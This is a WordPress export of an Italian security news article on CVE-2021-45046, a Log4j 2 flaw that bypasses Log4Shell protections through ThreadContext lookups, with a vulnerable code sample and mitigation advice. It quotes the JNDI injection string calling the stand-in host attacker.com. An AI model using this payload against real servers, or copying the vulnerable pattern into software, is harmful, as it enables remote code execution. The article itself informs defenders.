{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Una nuova variante dell'attacco a Log4j 2 consente di aggirare la protezione aggiunta","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
\u00c8 stata identificata un'altra vulnerabilit\u00e0 (CVE-2021-45046) nell'implementazione delle sostituzioni JNDI nella libreria Log4j 2, che si manifesta nonostante le correzioni incorporate nella versione 2.15 e indipendentemente dall'uso della configurazione «log4j2.noFormatMsgLookup» per la protezione. Il problema rappresenta un rischio principalmente per le versioni obsolete di Log4j 2, protette tramite il flag «noFormatMsgLookup», poich\u00e9 consente di eludere la protezione contro la vulnerabilit\u00e0 precedente (Log4Shell, CVE-2021-44228), che permette di eseguire codice sul server. Per gli utenti della versione 2.15, lo sfruttamento \u00e8 limitato alla creazione di condizioni per il crash dell'applicazione a causa dell'esaurimento delle risorse disponibili. <\/p>\n
La vulnerabilit\u00e0 si manifesta solo sui sistemi in cui, durante la registrazione, vengono utilizzate richieste contestuali (Context Lookup), come ${ctx:loginId}, o modelli MDC (Thread Context Map), ad esempio, %X, %mdc e %MDC. Lo sfruttamento consiste nella creazione di condizioni per la registrazione di dati contenenti sostituzioni JNDI, utilizzando richieste contestuali o modelli MDC che definiscono le regole di formattazione della registrazione. <\/p>\n
I ricercatori della LunaSec hanno osservato che per le versioni di Log4j inferiori a 2.15, questa vulnerabilit\u00e0 pu\u00f2 essere utilizzata come nuovo vettore per l'attacco Log4Shell, che porta all'esecuzione di codice se durante il logging vengono utilizzate espressioni ThreadContext che includono dati esterni, indipendentemente dall'attivazione della protezione tramite il flag «noMsgFormatLookups» o il template «%m{nolookups}».
<\/center> <\/p>\n
L'elusione della protezione consiste nel fatto che, anzich\u00e9 una sostituzione diretta di «${jndi:ldap:\/\/attacker.com\/a}», questa espressione viene sostituita attraverso il valore di una variabile intermedia utilizzata nelle regole di formattazione del log. Ad esempio, se nel logging viene utilizzato il contesto della richiesta ${ctx:apiversion}, l'attacco pu\u00f2 essere effettuato sostituendo i dati «${jndi:ldap:\/\/attacker.com\/a}» nel valore memorizzato nella variabile apiversion. Esempio di codice vulnerabile: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«\/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \/\/ Il valore dell'intestazione HTTP «X-Api-Version» viene passato al ThreadContext ThreadContext.put(«apiversion», apiVersion); \/\/ Durante il logging, il valore esterno apiversion sar\u00e0 elaborato utilizzando la sostituzione ${ctx:apiversion} logger.info(«Received a request for API version»); return «Hello, world!»; } <\/p>\n
Nella versione Log4j 2.15, la vulnerabilit\u00e0 pu\u00f2 essere sfruttata per eseguire attacchi DoS quando si passano valori nel ThreadContext che causano un ciclo infinito nell'elaborazione del modello di formattazione dell'output.
<\/center> <\/p>\n
Per bloccare la vulnerabilit\u00e0, sono stati pubblicati gli aggiornamenti 2.16 e 2.12.2. Nella versione Log4j 2.16, oltre alle correzioni implementate nella versione 2.15 e al vincolo delle richieste JNDI LDAP a 'localhost', la funzionalit\u00e0 JNDI \u00e8 completamente disabilitata per impostazione predefinita e il supporto per i modelli di sostituzione dei messaggi \u00e8 stato rimosso. Come soluzione alternativa per la sicurezza, si consiglia di rimuovere la classe JndiLookup dal classpath (ad esempio, 'zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class'). <\/p>\n
\u00c8 possibile monitorare l'uscita delle correzioni nei pacchetti sulle pagine dei distribuzioni (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) e dei fornitori di piattaforme Java (GitHub, Docker, Oracle, vmWare, Broadcom e Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, ecc.). \n Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Una](\"\/wp-content\/uploads\/2021\/12\/abd6f205102d584b2f633fa8188bdd67.jpg\")
<\/center> <\/p>\n![\"Una](\"\/wp-content\/uploads\/2021\/12\/5de7e9d9db53c53f5ebeed3bce6743c4.jpg\")
<\/center> <\/p>\n